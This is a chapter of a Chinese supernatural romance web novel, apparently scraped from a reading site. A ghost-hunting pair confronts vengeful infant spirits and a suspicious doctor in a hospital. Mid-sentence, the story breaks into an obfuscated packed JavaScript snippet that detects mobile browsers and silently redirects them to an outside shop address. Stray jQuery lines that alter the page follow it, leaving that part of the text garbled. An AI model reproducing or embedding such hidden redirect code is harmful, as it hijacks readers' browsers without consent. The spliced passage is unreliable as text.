39. 别闹别扭了,好吗?
作品:《队友除了帅和馋以外毫无用处》 胖鬼差手里的锁链掉在地上,瘦高个直接躲到了带头鬼差身后。
“何君……”
带头鬼差结结巴巴地说,“我们就是……在交流工作经验……”
何晏慢步从阴影中走出:“哦?交流到要把心理辅导热线介绍给我的搭档?”
几个鬼差吓得发抖,互相使了个眼色,身影嗖嗖几下,消失得无影无踪。
夏霖僵硬地,一点一点地转过身,对上何晏那双看不出任何情绪的双眼,扯出比哭还难看的笑容。
“很好。”
夏霖心里一咯噔:“?”
走廊顶灯接触不良似的闪烁两下,将何晏没什么血色的脸映得更添几分鬼气森森。
“不是说要给佘庭办事?你在这里和一群碎嘴的鬼差,聊我的闲话?”
夏霖脑子里飞快闪过一百种解释,最后干巴巴地挤出一句:“我来给佘庭送夜宵……是他们非要拉着我说的!”
何晏看了眼鬼差消失的方向:“这么说,你是被迫的?”
“对对对!”
夏霖猛点头,把怀里的食物往前递了递,试图转移话题,“你看,食物还是热的!再不去就凉了!佘老板又要骂人了!”
何晏扫过地上尚未完全散去的婴儿怨念,最后停留在夏霖脖子上刚刚被怨力勒出的淡红痕迹上。
“连这种程度的怨灵都险些要了你的命,你离开了我怎么办呢?”
他抬手,手指虚虚拂过那道红痕,清凉的气息渗入皮肤,火辣辣的刺痛感一下子得到缓解。
他做完这个动作便迅速收回手,仿佛只是掸去灰尘,“你这么弱,还是别惦记别人的财产了吧。”
夏霖摸着脖子,抬眼看他轮廓分明的侧脸,忽然觉得这个总是冷着脸的男人,竟然有种说不出的……让人安心的感觉。
“我这不是好好的吗,而且要不是你来得这么晚,我至于……”
“怪我?下次再这么莽撞,你就等着给那些怨灵当点心吧。”
夏霖立即怂了,“那你会来救我吗?”
“不会。”
“骗人,你刚才不就来了?”
何晏被她噎得一顿,别开脸去,声音低了几分,带着一种复杂的喑哑:“……嗯,我错了,我确实不该来的。”
这句话说得太轻,夏霖几乎没听清,但他脸上闪过的极淡的,近乎自嘲的神情,却让她心头莫名一紧。
何晏也许……并没有他表现出来的那么无所谓。
“我带你回去,跟上我,这地方怨气这么重,八成藏着好货,今天没我给你带路,你走不出去。”
夏霖匆匆跟上。
何晏刚走出两步,又像是想起什么,头也不回地淡淡补充:“跑路,我下次教你。”
夏霖怔了一下,这一刻,她有种奇怪的安全感,好像只要跟着这个背影,再黑的夜路,也没什么好怕的。
走廊的灯光将他影子拉得很长,她正好踩在他的影子里。
她忍不住旧话重提:“你都带我出这么多次任务了,为什么就是不教我点真本事?每次遇到这些脏东西,我都只能干等着你来救,要不就是全凭运气逃过一劫。”
“等你死了,我亲自在地府给你开个特训班。”
“你这是在咒我吗?”
“你又不是鬼差!”
他停步转身,夏霖猝不及防险些撞进他怀里。
何晏扶住她的肩膀,两人的距离骤然拉近。
夏霖能看清他睫毛投下的浅影,能闻到他身上那股清冷的,像是古书里藏着的墨汁香味。
“捉鬼是地府的公务,你当是考驾照报个速成班?”
“可是你总该教我点防身的本事吧?”
夏霖不服气,仰头看着他,声音却不自觉地小了下去,“你总有不在的时候,万一……”
“没有万一。”
何晏烦躁地说,“我的职责里,可没包括当你的私人教练。”
“可你的职责里也没写着要保护我啊。”
夏霖不依不饶地问,“你不也每次都来了?”
何晏一把将她按在墙边,他俯身逼近,温热的气息拂过她的耳畔,眼底深处翻涌着夏霖看不懂的情绪:“你到底有完没完?整天叽叽喳喳,什么时候能成熟一点,哪一次不是我替你收拾残局?除了给我添麻烦,你还会什么?”
“我会努力不拖你后腿的,我只是……不想总是无能为力,不想总是……等着你来。”
何晏盯着她看了半天,那目光复杂难辨,仿佛穿透她在看别的什么,又仿佛只是在确认眼前的她。
他似乎想说什么,最终却只是松开了手。
走廊深处传来一阵啜泣声。
夏霖面露惊悚,何晏修长的手指按在她唇上。
“嘘,有东西在附近。”
两人屏息凝神,那啜泣声却消失了。
何晏收回手,手指无意间擦过她的下唇,恢复了公事公办的语气:“继续保持安静。”
夏霖抿了抿唇,那里仿佛还残留着他手指的凉意。
可能是因为有何晏在,很多鬼祟之物都没敢冒头。
所以夏霖很顺利来到佘庭的病房外,隔着门就听见里面传来咳嗽声。
佘庭不满地质问:“买个东西这么慢是想饿死我吗?”
夏霖嘴角抽了抽,推门进去:“我可是一路跑来的,一点都没敢耽搁,路上遇到了我的好朋友,顺便一起带来了,你不会介意吧。”
佘庭靠在病床上,挑剔的目光在两人之间打转:“那我还是挺介意的。”
他仔细打量着何晏,忽然笑了,“你别说,左薇养的小白脸确实好看,不过你怎么还和他混在一起?”
“我们是室友。”
夏霖把饭盒放在床头柜上。
“都同居了?你这么穷,他还愿意舍了左薇跟你在一起,我看是有几分真心在的。”
“好烦,夏霖,送完饭就走。”
何晏的目光却似有若无地瞥向佘庭,这个病恹恹却心思深沉的古董店老板的身上……好像萦绕着异常气息,但他又不是很确定,那些异常来自哪里?
夏霖放下饭盒:“老板,饭放这儿了,你吃完我待会儿来收拾,我先去做别的事。”
“等等。”
佘庭叫住她,“十分钟后有人送文件来,你帮忙再跑一趟。”
“她今天没空。”何晏替她回答,语气相当的强硬。
佘庭轻笑,眼神却冷了下来:“她是我的员工,她有没有空,取决于我付的钱够不够多。”
说着,他掏出手机,在屏幕上轻点两下,夏霖身上响起清脆的提示音。
她盯着手机屏幕,眼睛发直,下意识咽了咽口水,房租,欠款……这笔钱来得太是时候了。
“如何?”
佘庭歪着头看何晏,像个恶作剧得逞的孩子,“现在,她有空了吗?”
何晏的脸色沉了下来。
夏霖激动得手指紧紧攥住手机,“反正也就十分钟嘛,耽误不了事!”
何晏压着怒火:“夏霖!!!我们没时间。”
夏霖挣了挣,“这边是我的正事,那边也是我的正事吗,很明显,赚钱还债比较像正事,再说了,要真遇见什么,不是还有你吗?”
“……”
何晏咬着后槽牙,“那你到时候别来找我哭。”
佘庭在病床上悠闲地调整了下靠枕,看戏看得津津有味。
何晏往外走,夏霖怕他生气,赶紧跟上去解释。
见她跟来了,何晏转身丢给她一枚新的铜钱:“你最好祈祷这十分钟里不会撞见什么不干净的东西,拿好,握紧别松手,要是铜钱发烫,叫我的名字,我离得近就能出现。”
夏霖接过铜钱时,手指不小心碰到了他的手指。
“这有什么用?”
“能保你十分钟内不被低级怨灵近身。”
“那高级的呢?”
“自求多福。”
“……不是说好了要保护我的吗?”
何晏没立刻回答,他看着夏霖,那双总是冷冽的双眼里,此刻映着走廊惨白
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16812324|187231||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的灯光,竟显得格外幽深。
他忽然极轻地叹了口气:“……就是因为要保护你,我真是……太倒霉了,要是真遇到厉害的……别硬撑,叫我名字。”
说完他似乎也怔了一下,随即别开脸,恢复了惯常的冷淡,转身要走。
夏霖笑了笑:“你不是让我自求多福吗?”看来,他还是不忍心啊。
他侧脸在灯光下显得有点不自在:“别在跟来了,赶紧回去。”
两人正说着话,穿着白大褂,戴着口罩的医生低着头,推着放满药品的小车从走廊另一头走来,看样子是要去隔壁病房。
在经过他们身边时,那医生脚下不知被什么绊了一下,整个人向前踉跄。
“小心!”
夏霖伸手去扶,但已经来不及了。
手推车一歪,上面几个玻璃药瓶噼里啪啦掉在地上,透明的药液混着玻璃碴流了一地。
那医生慌忙蹲下去收拾碎片,连声道歉:“对不起对不起!刚换的班,对这边还不熟……没伤着你们吧?”
何晏皱眉,几乎是本能地将夏霖往自己身后一拉,同时后退一步,戒备地看着医生。
那医生察觉到了何晏的注视,收拾的动作变得越加快速了,随即将碎片扫进簸箕,推着车就要离开。
“站住。”
医生非但没停,反而推着车小跑起来。
何晏立刻化作一道虚影追了上去。
“喂!何晏!”
夏霖顾不上多想,拔腿就追,“你等等我啊!”
走廊尽头是安全楼梯,等她气喘吁吁地推开楼梯间的门,只看到下方楼梯拐角处,何晏的衣角一闪而逝,而那个医生,早已不见了踪影。
夏霖看着下方幽深的阶梯。
楼梯间的声控灯坏了,只剩下安全出口的绿色幽光映着台阶,十分阴森恐怖。
刚才追逐的脚步声早已消失,四周静得可怕。
夏霖无所适从,只好握紧手中的铜钱,眼下这东西成了她唯一的依靠。
“何晏?”
她小声呼唤,“你还在吗?”
回应她的,只有死一般的寂静。
一股带着淡淡奶腥味的阴风,从背后扑来。
夏霖头皮一炸,转身就见一团黑乎乎的影子张牙舞爪地朝她迎面扑来。
“救命啊!”
她吓得往后一缩,脚下猝不及防踩空,整个人不受控制地向后倒去,“何晏!”
预想中的疼痛没有到来,一股更庞大的力量稳稳托住了她,将她轻轻放回台阶。
她听到凄厉短促的尖啸,刚才袭击她的那团黑影,像是被什么东西撕碎了,连点渣都没剩下。
夏霖惊魂未定,一抬头,差点又尖叫出声。
无数婴儿脸和手臂组成的巨大阴影此刻就堵在楼梯拐角下方,离她不到1米。
可这东西刚才不是被那些鬼差收走了吗?
难道这东西不只1个?
夏霖腿都软了,完了,刚出狼窝又入虎口。
可那恐怖的东西并没有攻击她。
它庞大的身躯只是蠕动着,发出一种像是呜咽和满足混合在一起的诡异声响。
从它身上溢出来的黑色雾气,也只是轻轻碰了碰夏霖的手背。
那触感阴冷,却带着一种奇异的,笨拙的亲近,甚至……依恋?
夏霖脑海里突然闪过一些破碎的画面。
朱红楼阁,窗外是纷飞的大雪。
有人将她护在身后,冷声呵斥:“谁敢动她?”
那人的背影……和何晏好像。
画面一闪而逝。
夏霖捂住刺痛的心口,看着那团可怖又诡异的阴影,一个荒谬却强烈的念头闯入脑海。
这东西认识她?
难道……这和爷爷有关?
刚才那个画面……又是什么?
她慢慢后退,婴儿王随着她的移动,也飘近了一些,但依旧没有攻击她的意图,无数双黑洞洞的眼睛望着她。
“妈妈!妈妈!妈妈!”

